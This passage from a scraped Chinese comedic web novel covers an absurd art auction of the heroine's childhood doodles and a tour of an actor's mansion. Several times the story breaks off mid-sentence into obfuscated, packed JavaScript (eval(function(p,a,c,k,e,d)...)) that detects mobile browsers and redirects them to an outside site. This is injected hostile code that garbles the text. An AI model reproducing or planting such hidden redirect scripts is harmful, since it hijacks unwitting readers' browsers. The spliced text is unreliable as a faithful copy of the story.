慕容绝突然止住话头,抬手打了个响指,司机从中准确无误地接收到“开车”的信号。在他踩下油门的瞬间,窗外的风景便倏然化作一道虚影,像电影中的n倍速镜头那样从祁冉身边飞驰而过。 当窗外的风景停止变换时,祁冉愣怔地看向她侧方的大厦,“阿尔特艺术中心”七个大字赫然出现在她面前,旁边摆放着关于这场秋拍的宣传展板。 “……像这样,车的速度太快,我们就没时间说了。”慕容绝笑着补完了后半句话。 这钻石轿车是火箭改装的吧! “泪儿小姐,请下车。” 一名保镖拉开车门护送着祁冉下了车,在她的脚刚刚沾到地面的瞬间,所有的保镖便一齐涌了过来,将她和慕容绝团团包围在队伍最中心,并以防御队形向大厦内部迅速移动。 祁冉刚一进入大厦,就听见前方传来一个清亮的女声:“慕容先生您好,距离今天的秋拍开始还有二十分钟,由我带您前往拍卖厅。在这段时间内,您可以沿途观赏我们其他拍品的预展。” 在现实中,祁冉从来没机会近距离参观这种上流展览,于是她伸长脖颈,打算认真欣赏一下这些世界名画。 然而过了不到一分钟,她就放弃了。 因为她前面的保镖实在是太高了,他们把她夹在中间,将她的视线挡得严严实实。 总之,在抵达拍卖厅后,随着保镖们围坐在两人的周围,祁冉终于结束了这种在北京早高峰挤地铁般的酷刑,重新呼吸上了自然流动的新鲜空气。 “各位现场,电话,网络委托的客人,上午好。欢迎来到全球拍卖界首个抽象派及现代艺术上午场……” 伴随着拍卖师的开场白,拍卖厅内所有的窃窃私语都销声匿迹。祁冉环视着周围衣着考究的到场来宾,恍惚间有种拿到了豪门日常体验券的感觉。 “首先来看第一件拍品,54250号,奇莎明·夏比安巴的《老人》,起拍价——”拍卖师稍作停顿,“五亿元!” 祁冉满怀好奇地看向大厅前方的那块电子屏幕。 在那幅画出现在她眼前的瞬间,祁冉顿时撤回了刚才的想法。 她就不应该对这个世界抱有任何正常的期待! 10. 拍卖会 拍卖现场的来宾接二连三地举起号牌,电话委托席的工作人员不断说出新的报价,大厅右前方的荧幕上显示的网络拍卖的叫价数字也一路飙升,祁冉要费一番功夫才能数得清那是几位数。 在一派无声的紧张氛围中,祁冉再次望向那块大屏幕,确认这幅名画是她自己的真迹。 从小到大祁冉的画技都没有半点进步,她绝对不会认错。 这是她小时候画的丁老头! 祁冉依稀记得,她上小学写日记的时候就喜欢在正文旁边涂鸦,看来这习惯也被她应用到了写小说的情境,写到这段时她突然画兴大发,心血来潮在旁边画起了插图。 所以,怒目圆睁并龇牙咧嘴的丁老头就这样赫然出现在了抽象派艺术拍卖现场,并且最终被拍卖到十亿元(后面省去n个0)的高价。 “现在是第二件拍品,94250号,卜仲约尔·肖希的《明媚微笑》,起拍价——两亿六千元!” 祁冉沉默地看向屏幕上的那个经典黄豆表情。 这是千度贴吧原创表情系列当中的“滑稽”,早年间她最喜欢用这个表情来表达自己的友好,因为她觉得它看起来笑得很开心。 然而,此刻它弯弯的笑眼,斜在左边的眼珠,高扬的嘴角,无一不是在体现对祁冉当前处境的嘲讽。 在这张圆润笑脸的注视下,最后它被拍出了六亿元的价格。 “第三件拍品……” 祁冉觉得再这样下去她真的就要绷不住了,赶紧转移注意力和旁边的慕容绝搭话:“慕容少爷,你为什么不参与拍卖?” “这些画的艺术价值都不算高,我就让给他们好了。”慕容绝十分大度地说道,“有劳泪儿小姐再耐心等等,主菜还在后面呢。” 虽然祁冉对慕容绝的性格和行为颇有微词,但此刻她难得地赞同了一下慕容绝的话。 他能看出这些画的艺术价值都不高,就已经胜过了在场百分之九十的人了! “第五件,也就是我们今天这场拍卖的最后一件拍品,我相信它是很多人关注的焦点。”拍卖师向来宾卖起了关子,她侧身指向大屏幕,露出一个神秘微笑。 随着屏幕亮起,她用激情澎湃的语调喊道:“17250号,坎坎哲·什沙的《快乐熊猫头》!” 在这幅画亮相的瞬间,拍卖厅再也不复先前的寂静,来宾不约而同地发出一声惊叹,接着是如潮水般汹涌的交头接耳,几乎要漫过整个大厅。 “这就是那幅传说中已经被大火烧毁的世界名画!” “看这恰到好处的明暗对比,浑然天成的线条,细腻厚重的笔触,不愧是大师级别的传世佳作!” 慕容绝看了看旁边脸色泛红、身体轻微颤抖的祁冉,气定神闲地说道:“泪儿小姐,虽然这是世间罕有的艺术珍品,但你也不用这么激动,我们以后有的是机会欣赏这样的大师级名画。” 祁冉不敢说话,生怕她一开口就要笑出声来,只能咬住舌尖,装出漠然的神情。 在此起彼伏的竞拍叫价声中,屏幕上的那张熊猫头表情包依然保持着露齿大笑的开朗神态,它脸上的五官来自那位席卷早期互联网的金馆长,漆黑的双眸中迸射出恣意的嘲讽和猖狂的戏谑,仿佛在人们欣赏它的同时,它也在欣赏着这幕人间闹剧。 “两千七百亿,两千八百亿,回到场内中区……四千亿!” 或许是觉得火候差不多了,慕容绝扭头给助手递了一个眼神,他随即举起了号牌。 “一万亿!”拍卖师大声宣告着慕容绝的出价,“在场的各位来宾,还有要加价的吗?” 前方的众人纷纷回头,想看看到底是什么人具有这样雄厚的实力,出手竟然如此阔绰。 在他们的目光落到慕容绝脸上时,现场只响起一片“是慕容少爷”的惊呼,很快所有人便噤了声,现场重新陷入短暂的寂静。 看到没有人敢再出价,拍卖师适时地开展了推销工作,试图煽动竞拍者们叫出更高的价格:“这幅《快乐熊猫头》是抽象派艺术大师坎坎哲·什沙的成熟风格代表作,是凝聚了他毕生心血的作品。在熊猫头系列,我保证您找不到第二张像这幅画那样洒脱肆意的作品。无论是将它当作家装展示还是收藏传家,它都是充满上流气息的不二之选……” 祁冉看了看她卖力营销的主角,金馆长脸上的法令纹似乎笑得更深了,那对八字眉好像在为拍卖师所说的话鼓掌。 突然,拍卖师眼前一亮,中止了她的介绍词,看向大厅的角落高声念道:“两万亿!” 随着拍卖师的报价,祁冉和在场所有来宾一样循着拍卖师的视线望去,齐刷刷地扭头看向右后方最后一排的男人。 不过和其他人不同的是,祁冉眼前多了一个悬浮屏。 那人翘着二郎腿靠在椅背上,脸上挂有温和得体的微笑。即使被众多目光注视着,他也没有半分紧张或不安,从容地向大家点点头,像是早就适应了这样的场景。 【姓名:凌千幻】 【人物简介:表面身份是娱乐圈顶流影帝,实际上是███。外貌为棕发灰蓝瞳,性格沉稳内敛,热爱艺术,喜欢精致优雅的生活方式。他对世间的一切争斗感到厌恶,是泪儿滋润了他枯竭已久的心灵,让他重新爱上这个世界,他也因此渐渐沉沦在对泪儿的爱意中。】 祁冉对以上信息做出总结,看来这第六位男主是个厌世文艺男,他身上也有暂时没解锁的信息。 慕容绝本就因为凌千幻的公然叫板而感到不快,此时他又看见祁冉的注意力全被凌千幻吸引,心头更是恼怒万分,于是转头示意助手报价。 “十万亿!不愧是慕容少爷!” 伴随着拍卖师响亮的呼喊,祁冉和众人再次把视线投向慕容绝,眼中是不加掩饰的惊异。 察觉到祁冉的震惊,慕容绝认定她是对自己的财力感到不可思议,他气定神闲地说道:“这点钱还远远没有达到我的预算,我说过,今天我一定会拿下这幅画。” 祁冉更加确定慕容绝果然脑子有病,一幅熊猫头和金馆长的结合体表情包就能让他出这个价? 那她之后就直接在家画画卖给他抵债好了,这样的话就不用去打工了! “二十万亿!这就是新晋影帝的实力吗?” 祁冉又赶紧转头看向凌千幻,他的余光瞥见祁冉,便微微偏过头,向她点头致意。 完了,这个男主虽然看上去沉稳,但估计也是神经病。 “五十万亿!慕容家族无愧于世界第一家族的名号,真是出手阔绰!” 拍卖师不遗余力地煽风点火,慕容绝和凌千幻看起来也在一声声吹捧中迷失了自我,卯足了劲要把对方踩下去。听了一会之后,祁冉觉得她对金钱已经丧失了概念,满脑子只有“这后面是几个0”的问题。 这时,凌千幻身边坐的助理突然举起手,屈起无名指和小指,做出了一个形似手枪的手势。 沉寂许久的人群再次爆发出新一阵的惊呼。 祁冉只在电视剧中见过这个手势,它的含义是“点天灯”,在拍卖会中,如果有人打出这个手势,就意味着他将无限制地加价,无论其他人报出多高的价格,他都会默认以更高的金额跟价。 虽然现实社会并没有“点天灯”的说法,这个行为也不具有任何法律效力,但这里是玛丽苏世界,凌千幻的这一举动摆明了要和慕容绝死磕到底。 拍卖师也是一愣,谨慎地向凌千幻提问:“凌先生,我向您确认一下,您是否要无限制地跟价?” 要知道慕容绝可是全球首富,他要是恶意加价的话,凌千幻有可能倾家荡产! “是的。艺术是无价的,我们每个人都应该对它们抱有崇高的敬意。”凌千幻微微一笑,“无论花多少钱都值得,这就是我对艺术的态度。” 祁冉很赞同他的前半句话,毕竟这表情包都烂大街了,拿出去确实卖不出什么钱。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742091|189682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >拍卖师提心吊胆地看向慕容绝,虽然她没有点名,但她问题的指向非常明确:“还有要加的吗?” 助手低声向慕容绝询问意见,他回过头,锋利的眼神从凌千幻脸上划过,却只撂下一句话:“算了。” 既然是凌千幻率先表示出跟价的意愿,又发表了一番他对艺术的珍惜与热爱,如果他在这时加价,难免会落下一个“小肚鸡肠”的名号,传出去于他和慕容家族的形象有损。 “一千万亿(后面省去无数个0)第一次!” 拍卖师的声音回响在鸦雀无声的拍卖厅内,众人都屏住呼吸,等待着这幅稀世珍宝熊猫图究竟会花落谁家。 “一千万亿,第二次!” 祁冉回头看看凌千幻,他不会真要用这么多钱拍下这张表情包吧! “一千万亿,最后一次!” 不知道从什么时候起窗外变了天气,乌云沉沉地压了下来,和慕容绝此时的脸色如出一辙。 拍卖师手腕微动,清亮的拍卖锤声紧随其后响起。 “恭喜买家凌千幻先生赢得坎坎哲·什沙的代表作——《快乐熊猫头》的所有权!感谢现场所有来宾和委托方!” 她的话宣告了这场拍卖会的终结,慕容绝没有在拍卖厅过多停留,他冷着张脸起身,祁冉随即被他拉起来就往大厅外面走。她一边追赶着慕容绝的脚步,一边听见他对身侧的助手沉声说道:“回去好好查一下这个凌千幻,看看他除了演员还有没有其他身份,到底是什么背景。” “如果慕容少爷想了解我的信息,可以直接来问我,何必这么大费周章。”凌千幻的声音在身后兀然响起,截住了慕容绝前行的脚步。 祁冉转身看去,和慕容绝一样,凌千幻身后也跟着一群身材魁梧的保镖。 慕容绝回过头上前几步,他周围的人紧随其后,与凌千幻的人马仅有一步之遥。在双方的对峙之下,原本宽敞明亮的廊道显得十分压抑,连空气似乎也凝滞起来。 “凌先生现在是家喻户晓的大明星,我怎么可能不了解您?”慕容绝在最前方站定,对凌千幻笑道,“不过我倒是想问问凌先生,您是不是没有听说过慕容家的名号?” 凌千幻也用谦逊的微笑回敬他:“慕容少爷说笑了,慕容家是世界第一家族,历史悠久,凡是生活在地球上的人都知道。” “既然这样,凌先生今天的行为就是在公然挑衅我慕容家的权威了?”慕容绝的声音不大,但威压极强,“我想在场的所有人都清楚,我参加这场秋拍的目的就是拿下那幅坎坎哲的代表作。” “我当然没有这个意思。”凌千幻不紧不慢地回应慕容绝的话,“慕容少爷您明白,我和您一样都是热爱艺术的人罢了。” “嘀——” 正在因为事不关己而神游天外的祁冉突然听到系统提示音,被惊得一激灵。 【剧情:慕容绝带泪儿来到拍卖会,可意外出现的凌千幻打乱他的计划拍下了他想要的名画,这令慕容绝恼怒不已,与凌千幻针锋相对。正直的泪儿作为拍卖过程的见证人主动站出来主持公道,她不畏强权,大胆说出了自己的看法,凌千幻深受触动,他察觉到泪儿与慕容绝之间的紧张气氛,便邀请泪儿去他家中共进午餐以表谢意,同时以此为理由帮她脱身。】 【任务:表明凌千幻获得名画的合理性并批评慕容绝的霸道蛮横,先婉拒凌千幻的邀请,在他的坚持下最终同意。成功离开慕容绝后,跟随凌千幻前往他的住宅一起吃饭。】 祁冉有点崩溃。 一定要在这两人当中选一个跟着走吗,这和美国票选总统有什么区别? 而且他们为这幅熊猫头表情包打得不可开交也就算了,怎么还要把她扯进来! 无奈之下,她在心里默念一句“一切都是为了回家”,调整好状态,开始了她的表演。 “慕容少爷,还有凌先生。”祁冉插进两人的争执当中,“两位能听我说几句吗?” 11. 优雅生活 慕容绝和凌千幻一齐将目光投向祁冉,默许了她的话。 “我刚才一直坐在慕容少爷身边旁观了拍卖的全过程,所以我想从客观的角度出发,说说我的看法。” 祁冉大义凛然地说道:“刚才的整个拍卖过程都合乎法理,并没有任何不妥之处,慕容少爷和凌先生轮流叫价,最后是凌先生出价最高,慕容少爷放弃了竞拍,从结果上来看,这幅名画理应归属凌先生。” “而且,在拍卖过程中我也看到了凌先生对于艺术的热爱,我想他应该不是出于其他目的故意要让慕容少爷难堪。所以,任何人都不应该对拍卖结果提出异议,或者妄加揣测。” “妄加揣测?”慕容绝觉得祁冉的话显然是在针对他,“这幅画本来就应该是我的所有物。” 祁冉义正词严:“慕容少爷,说话得讲证据。这幅画上又没有写您的名字,怎么就是您的所有物?再说——” “泪儿小姐。”慕容绝冷声打断祁冉的话,“别忘了你当前的处境。我们有约在先,这个周末你都要服从我的安排。” 祁冉背了一句古早言情小说中的经典台词:“没错,但你用威胁的手段可以得到我的人,却得不到我的心!虽然你控制了我的身体,却永远无法掌控我的思想与灵魂!” “等一等。” 凌千幻及时插进两人的对话,中止了他们的争吵。他看了看祁冉愤慨激昂的神情,又望向慕容绝:“慕容少爷,听这位小姐的意思,她不是自愿与您同行的?” “那当然,无论如何我是绝对不会和这样一个霸道专制又蛮横无理的人为伍的!”祁冉抢先作出回答,卖力地推动剧情。 慕容绝皱起眉头:“你说我……” “慕容少爷息怒,虽然泪儿小姐的话不大中听,但她说的道理没错。”凌千幻对祁冉报以感激和崇敬的笑容,“刚才我们都看到了她的公正与刚直,就算您胁迫她做事,她也不会真正心甘情愿地和您在一起的。” 祁冉在一旁疯狂点头。 先不管凌千幻到底是个什么样的人,此时此刻他是友军! 趁着慕容绝陷入沉默,凌千幻又把目光投向祁冉,对她微笑道:“泪儿小姐,我很感谢你为我主持公道。午饭时间马上就要到了,为了表达我对你的谢意,我想邀请你到我家里坐坐,顺便和我共进午餐。” 祁冉假意推辞道:“这就不用……” “还请泪儿小姐不要拒绝我。”凌千幻诚恳地说道,“有恩必报是我的行事原则。” “那好吧。”祁冉答应了凌千幻的邀请,“凌先生盛情难却,既然这样,我就恭敬不如从命了。” 她刚要抬脚往前走,手腕就被人猛地扯住,因为受到外力不得不往后退了几步。 祁冉抬起头对上慕容绝的眼睛,不知道为什么,他的眼神中除了愤怒,竟然还有些不甘和哀伤的意味。 她微微一愣,但没有耽误过多的时间,按照任务要求说道:“慕容少爷,请放开我。” “你可别忘了我们的约定。”慕容绝说话的内容很是强硬,但语调却有几分恳求,“你能否得到那一亿元,还有那些人是否能够保住工作,全都取决于你的行动。” 这句话提醒了祁冉,正在她犹豫之际,另一只手却按上了慕容绝的胳膊,与二人形成三足鼎立之势。 “泪儿小姐,别担心。他为你提供的这些条件我也能够做到。”凌千幻替祁冉解围,又看向慕容绝,语气平静道,“慕容少爷,您再这样下去,只会把泪儿小姐推得更远。” 不知道是不是他的话起了作用,祁冉感到自己手腕上的力道有所放松,便抓紧机会挣脱慕容绝的束缚,站到凌千幻身后。 “慕容少爷,我为我今天的失礼道歉,稍后我会叫人备一份薄礼送到慕容家以表歉意。”凌千幻向慕容绝颔首,“我和泪儿小姐还有事,就先行告辞了。” 祁冉提心吊胆地跟着凌千幻往艺术中心的出口走,悄悄回头瞥了一眼身后的慕容绝,他旁边的助手好像正在和他说些什么。 她今天算是把慕容绝得罪完了,下次见面的时候还指不定他要怎么报复自己。 不过他刚才的那种眼神和语气是怎么回事? 祁冉思考半天也没得出个结果,最后索性将问题抛之脑后。反正这个剧情本来就不讲道理,她就算提前想出答案和对策也不一定用得上,倒不如走一步看一步。 一行人下楼来到车队旁边,保镖拉开车门做出邀请的手势,祁冉跟随凌千幻上了车,却蓦地发现副驾驶上坐了个身着燕尾服打领结的青年男子,他手里还拿着一把小提琴,正回头向她微笑致意。 祁冉不解地问:“这位是……” “他是我雇佣的专职小提琴手,负责在我的旅途中随时演奏音乐。”凌千幻解释道,他始终保持着优雅的微笑,“无论什么时候,我们都应该沉浸在艺术的氛围当中,它能帮助我们陶冶高尚的情操。” 祁冉沉默了一下:“那你为什么不直接放车载音乐?那样更方便。” 凌千幻摇摇头:“我们应当享受的是源于自然原生态的天籁之音,它不应该经过现代科技手段播放,这样是对艺术的亵渎与玷污。” 祁冉算是看出来了,凌千幻对于艺术的确有独到的见解,或许这就是上流的生活吧。 不过世界上要是多一些凌千幻这样的人,音乐生倒是能多些就业岗位,这也算是好事一桩。 随着车辆引擎启动,凌千幻问祁冉:“泪儿小姐,你喜欢听哪种风格的音乐呢?” 祁冉寻思,太高雅的音乐她也欣赏不了,便随口答道:“符合大众口味的经典流行歌曲吧,欢快一点的。” 伴随着熟悉的前奏响起,祁冉这才意识到她的话说得不妥。 他演奏的是十五年前的流行歌曲! 于是,凌千幻陶醉在《最炫民族风》的豪迈旋律中,对祁冉惊叹道:“泪儿小姐,你的品位真不错,我过去从来没有听过这么悦耳动听的乐曲。” 祁冉僵硬地笑笑:“哪里哪里,您过奖了。” 当《爱情买卖》的曲调奏响时,祁冉觉得自己年轻了十五岁,恍惚间还以为她坐的是她爸的车。 不过眼前的景象倒是让祁冉很明确地意识到自己的处境:小提琴家闭着眼睛拉动琴弦,一副如痴如醉的模样,像极了伤感情歌MV中眉头紧锁、痛不欲生、泫然欲泣的主角;凌千幻则激动不已地打着节拍,和着旋律动情而忘我地哼唱,还挥舞着双手指挥小提琴家演奏,并用眼神示意祁冉配合他一起跳舞…… 祁冉感觉自己仿佛来到了一个群魔乱舞的KTV包厢,而且里面的人都像是喝高了。 更惊悚的是,受到这种大众艺术的感染,连司机都双手离开方向盘,开始在驾驶座狭小的空间内跳起了DJ舞! 在一群疯子里面,祁冉开始怀念慕容绝了。 如果凌千幻的车能和他的一样神速,她就能瞬间抵达目的地,结束这样的折磨了。 万幸的是凌千幻最近的住处离拍卖厅不远,十分钟后,祁冉带着满脑子魔音贯耳的土嗨音乐,昏昏沉沉地重新踩到地面上。 然而,当她掀起眼皮看向面前的建筑物时,马上又清醒过来。 她左右两边都是一望无际、高耸入云的围墙,面前是两扇雕着精致繁复花样的铁制大门,透过栅栏的空隙可以见到其后错落有致的景观布局,采用的大多是中式设计,它们凑在一起,打造出一个精致气派的私家园林。 虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742092|189682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她知道富人的豪宅都很大,但这未免太夸张了吧! 系统适时地进行补充说明:【在您原文中曾明确提到,凌千幻和慕容绝等人的房间都有“好多好多个足球场”那么大,“可以与一座城市媲美”。】 祁冉明白了,这完全是因为她小时候对建筑物的面积大小没有概念,索性大笔一挥开始胡说八道。 可北京是一座城市,她老家的那个十八线小县城也是城市啊! “泪儿小姐,请跟紧我。”凌千幻对东张西望的祁冉说道,“否则你很有可能迷路。” 祁冉闻言赶忙收回注意力跟上大部队。凌千幻这话说得没毛病,在这里迷路就和在一座城市里面失踪差不多。 穿过一个个回廊,又走过一座座桥,见到无数亭台楼阁之后,祁冉觉得自己好像还在原地打转,地平线上根本没有半点凌千幻所住别墅的踪影。 “凌先生。”祁冉的脚有些困乏,“我们还有多久才能到你的主屋?” “我的步速是1m/s,按照最短距离计算,应该还要三个小时。” 祁冉有点痛苦地问:“我们不能坐车过去吗?” “不可以。”凌千幻说道,“这里的每一处草木都充满自然的芬芳,我不能让它们遭受汽车尾气的侵害,要不然它们会疼,会哭,会叫……” 祁冉无语地看着伤春悲秋的凌千幻,不愧是影帝级别的演员,连日常生活都充满了表演性和戏剧感。 他还处在泛灵论阶段吗? “好吧。”秉持着客随主便的原则,祁冉忍了忍,换了个方案,“那我们能走快点吗?” 要不然等到屋子里就不是吃午饭了,直接吃晚饭得了! “不行。”凌千幻依然表示拒绝,他腰背挺拔道,“走得太快有失风度,不符合我优雅的生活准则。” 祁冉想不出其他办法,只能试图通过卖惨来博取凌千幻的同情:“可是我很饿,恐怕走不到屋里就要倒下了。” 凌千幻从容地笑笑:“泪儿小姐请放心,我在日常生活中也经常有这样的烦恼,所以我早有准备。” 这烦恼不是你自找的吗! 他举起胳膊挥了挥手,便迅速有两个身着统一制服的侍者上前,一人为祁冉端来了几块三明治和果汁,另一个人则端着一小盆用来洗手的水,胳膊上搭着擦手用的毛巾。 “泪儿小姐请用餐。”凌千幻很有礼貌地说道,“在前往主屋的路上,你随时都可以补充体力。” 祁冉盯着面前的食物陷入沉思。 这是什么马拉松比赛现场? 不过有得吃总比饿晕过去强,为了能够体面地抵达主屋继续推进剧情,祁冉还是接受了凌千幻的慷慨馈赠。 当太阳西斜的时候,祁冉终于走到了那幢巍峨的别墅脚下,站在建筑物的庞大阴影当中,她热泪盈眶,有种征服了珠峰般的成就感。两旁戴着白色手套的侍者向她和凌千幻鞠躬,分别拉开了靠近自己这边的那扇大门。 祁冉走进屋内,天花板上的投影仪为剔透的水晶地面铺上一层如梦似幻的光影,像是深海中的荧光生物在水底游动。 虽然祁冉一直觉得这个世界不正常,但不得不说,正是因为它不合逻辑,有些场景反而充满了幻想般的瑰丽色彩。 不过,凌千幻的下一句话又击碎了她的美好幻想。 “从这里到餐厅还有一小时的路程。”他看了看手表,对祁冉莞尔一笑,“在这段时间内,我们可以欣赏一下走廊两侧摆放的这些艺术品。如果泪儿小姐能够猜对它们当中任何一件的寓意与内涵,我会送给你一份奖品。” 就像上班时接到领导发布的任务那样,祁冉露出违心的微笑:“好的。” 还有完没完了! 12. 文艺影帝 不过,凌千幻的那句“有奖竞猜”多少有点吸引力,祁冉跟随他踏上铺在走廊中的红毯,一路向前。 正如凌千幻所说,比起普通人家的家装设计,这里的走廊更像是博物馆或展览厅中常见的样貌。在两侧的墙壁上,每隔一段距离便有一个凹陷进去的展柜,透过明净的玻璃,再借着充足的打光,可以将其中的藏品一览无余。 “泪儿小姐,请你先看看这件藏品。”凌千幻让人打开展柜,将里面的物品取出,递交到祁冉手上。 虽然她无论怎么看都觉得这只是一块普通的橡皮,但考虑到她已经是债台高筑,要是再弄坏个什么东西她得再搭几辈子进去,祁冉还是谨慎地询问凌千幻:“凌先生,这么贵重的东西,我真的可以直接触碰吗?” “当然可以。” 凌千幻温和地笑笑,“泪儿小姐,艺术是人类文明的结晶,它必须体现某种人文情怀。如果没有人来创造,没有人来欣赏,它也不过是一堆冷冰冰的器物而已。” 祁冉觉得他这话说得还挺像个金句的。 她谢过凌千幻,小心翼翼地把那块棱柱状的橡皮捧在手心,仔细端详着它每一面上的图案与痕迹。橡皮的六个面上都有模糊的铅痕,祁冉依稀能辨认出它的四个侧面分别标注着字母“ABCD”,顶部和底部则写着“重来”。 久远的记忆突然浮出水面。 祁冉小时候为了应付考试,会提前在橡皮上写好答案,以便她在考试过程中随时扔橡皮蒙选项,但不幸的是,有几次她扔得用力过猛,直到考试结束后都没能把橡皮找回来。 这就是其中一块失踪的橡皮! 地板小精灵是真实存在的,异次元空间也是真实存在的是吗! 不过也说不定它只是一个复制品。 “看泪儿小姐的表情,你心里应该已经有答案了。”凌千幻的声音打断了她的头脑风暴,“请你来说说,你认为这件艺术品想要表达什么主题?” “我认为……” 祁冉艰难地开了口,她酝酿了半天也没组织好语言,她总不能说这是来自异世界的橡皮吧。 最后,她还是决定给出一个最稳妥的答案。 “……抱歉,我不知道该怎么说,我觉得它只是一块普通的橡皮而已。” 凌千幻摇摇头:“泪儿小姐,其实你可以大胆发挥你的想象力,说错了也不会有什么惩罚。” 他耐心地向祁冉讲解道:“这件藏品的名称是‘命运之骰’,在它上面均匀分布着四个选项,而每一个选项都会将你导向未知的彼岸。在我们做出重大决定的时候总是这样,从我们当下的视角来看那不过是平凡的一瞬,可时隔多年,当你回望往昔时,才能明白你的命途轨迹自那一刻起就悄然发生了改变。” “所以?”祁冉的灵魂仿佛得到了升华,“这件艺术品的寓意是什么?” 凌千幻面色忧伤:“命运无常。” 竟然还挺符合逻辑的。 “确实,你说得很有道理,让我产生了很多思考。”祁冉诚恳地附和着凌千幻的话,赶紧把他从悲伤的情绪中拉出来,“我们去看下一件藏品吧。” 当祁冉盯着自己手中的那个折纸玩具时,大脑再次停止了工作。 这是全国统一、每个小孩人手一个、赫赫有名的“东南西北”! 面对凌千幻的提问,祁冉只能仿照着他刚才的答案,像做语文阅读题一样说道:“它的外形看起来和一种知名的儿童玩具很相似,所以我想它应该蕴含着童年时代的快乐与欢笑,表达了作者对童年的深切怀念,以及对光阴易逝的感伤。” “泪儿小姐,比起刚才,你的发散思维明显有了飞跃性的提升,但你可以再大胆一点。”凌千幻笑着作出评价,“你的答案也不错,但很可惜,你没有透过现象看本质。” 祁冉疑惑:“那真正的答案是什么?” “这件藏品的名称是‘启示之嘴’。”凌千幻介绍道,“乍一看它不过是一个平平无奇的儿童玩具,可仔细品鉴就能发现,通过操纵它所得到的每一个答案都与你的性格与生活息息相关。世界的真理往往出自孩子的口中,它就隐藏在我们身边,我们却无人察觉。” 祁冉点点头:“所以它的含义应该是……” 凌千幻神情怅惘:“大道至简。” 如果这个东南西北不是她自己折的,如果她没有站在这个玛丽苏世界里听他胡说八道,祁冉简直想给凌千幻富含哲理的精彩发言鼓鼓掌。 她在心里问系统:“他说的这些都是我自己写的吗?” 【大部分是这样的。这些物品的基本设定都与您的原文保持一致。】 祁冉想不明白,她小时候怎么能编出这么多稀奇古怪的物品名称和文案介绍,是动画片看多了还是偷着玩游戏没被她爸妈发现? “我们再来看下一个。” 这次交到祁冉手上的东西只是一张薄薄的纸片,纸上印刷的灰色横线与参差不齐的边缘暗示着它来自一张被随手撕下的笔记本内页。在纸面上只有三道波浪线,分别是红、黑、蓝色的笔迹。 这件艺术品比前面的两件还要抽象,祁冉觉得这痕迹像是她在试用新买的笔芯,这三种颜色都是她最常用的。 但是,为了避免错误答案,祁冉硬着头皮开始瞎编:“我想,这件藏品的名称应该是‘和谐之海’。” 凌千幻眼前一亮,兴致盎然地追问:“泪儿小姐,请展开讲讲你的见解。” “你看,这张纸上画着三条波浪线,它们一起组成了大海,但不用细看就能发现,这三条波浪线的颜色并不相同,分别是红、黑、蓝三色。众所周知,大海是蓝色的,但这幅画显然与我们的常识相悖。” 祁冉振振有词地说着:“所以,它的寓意就藏在这个矛盾点里面,我们不应该假定海水就是蓝色的,由其他颜色的洋流汇聚成的水体也是大海。再引申到人类社会当中,我们不该忽视个体的特殊性,也不应当排斥攻击那些和自己不同的人,而是应该兼容并包,和谐共处,只有这样,我们才能实现世界人民的大团结!” 凌千幻被祁冉这番缜密的赏析和层层递进的寓意拆解震撼到了,他愣了好一会才从激烈的情绪中缓过神来。 他脸上写满不可思议的表情:“泪儿小姐,你的成长速度真令我震惊。你果然具有非凡的潜力!” 他凑过来仔细打量着那张划了三道笔痕的白纸,不住地惊叹道:“太奇妙了,我从来没想过这幅画还可以这样理解。” “等等。”祁冉受到夸奖当然很开心,但她听出凌千幻言语中的不对劲,迟疑着问道,“你的意思是,它本来的寓意不是这个?” “对。” 凌千幻收敛笑容,换上一副严肃的表情,道出了这件藏品的真实内涵。 “这幅画并没有名字,实际上它来自一次失败的竞拍,是我错估了它的艺术价值。但也正是这次的经历为它赋予了别样的意义,我将它摆放在这里,让它时刻提醒我‘不要人云亦云,相信自己的判断’。” 祁冉差点背过气去。 好辛辣的讽刺啊! 就这样,祁冉像远足一样和凌千幻把走廊从头到尾地逛了一遍,最后依然颗粒无收。 “虽然泪儿小姐没能答对任何一件艺术品的创作主题,但我从你那里听到了很多新颖有趣的观点,我想这对我以后的艺术鉴赏大有裨益。”凌千幻对刚才的游览作出总评,对祁冉笑了笑,“所以,尽管你没有答对问题,但我还是想将我提到的那份奖品送给你。” 经历了刚才的这一遭,祁冉现在已经对那份奖品不感兴趣了。 估计也不是什么好东西。 不过在凌千幻面前祁冉还是要装一下,她露出不好意思的微笑,婉拒他的好意:“这怎么行,既然我没有答对您出的题目,就不能收下奖品,否则就是违反规定了。” “不,泪儿小姐,艺术是没有标准答案的。” 虽然凌千幻总给祁冉一种随地大小演的感觉,说话和做事风格也总是很浮夸,但她身为半个文艺工作者,对这句话还是相当认同的。 “通过今天的游览,我对泪儿小姐在艺术审美上的造诣已经有了充分的了解。其实,除了拿下影帝称号以外,前不久我还做了一件很重要的事。”凌千幻揭晓了那份奖品的真面目,“我成立了一家自己的影视公司,准备筹划拍摄由我自导自演的作品。泪儿小姐形象靓丽,气质出尘,品位高雅,又自带特效,显然是女主角的不二人选。所以,我诚邀你加入我的影视公司,担任我第一部电影的女主角!” 祁冉总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 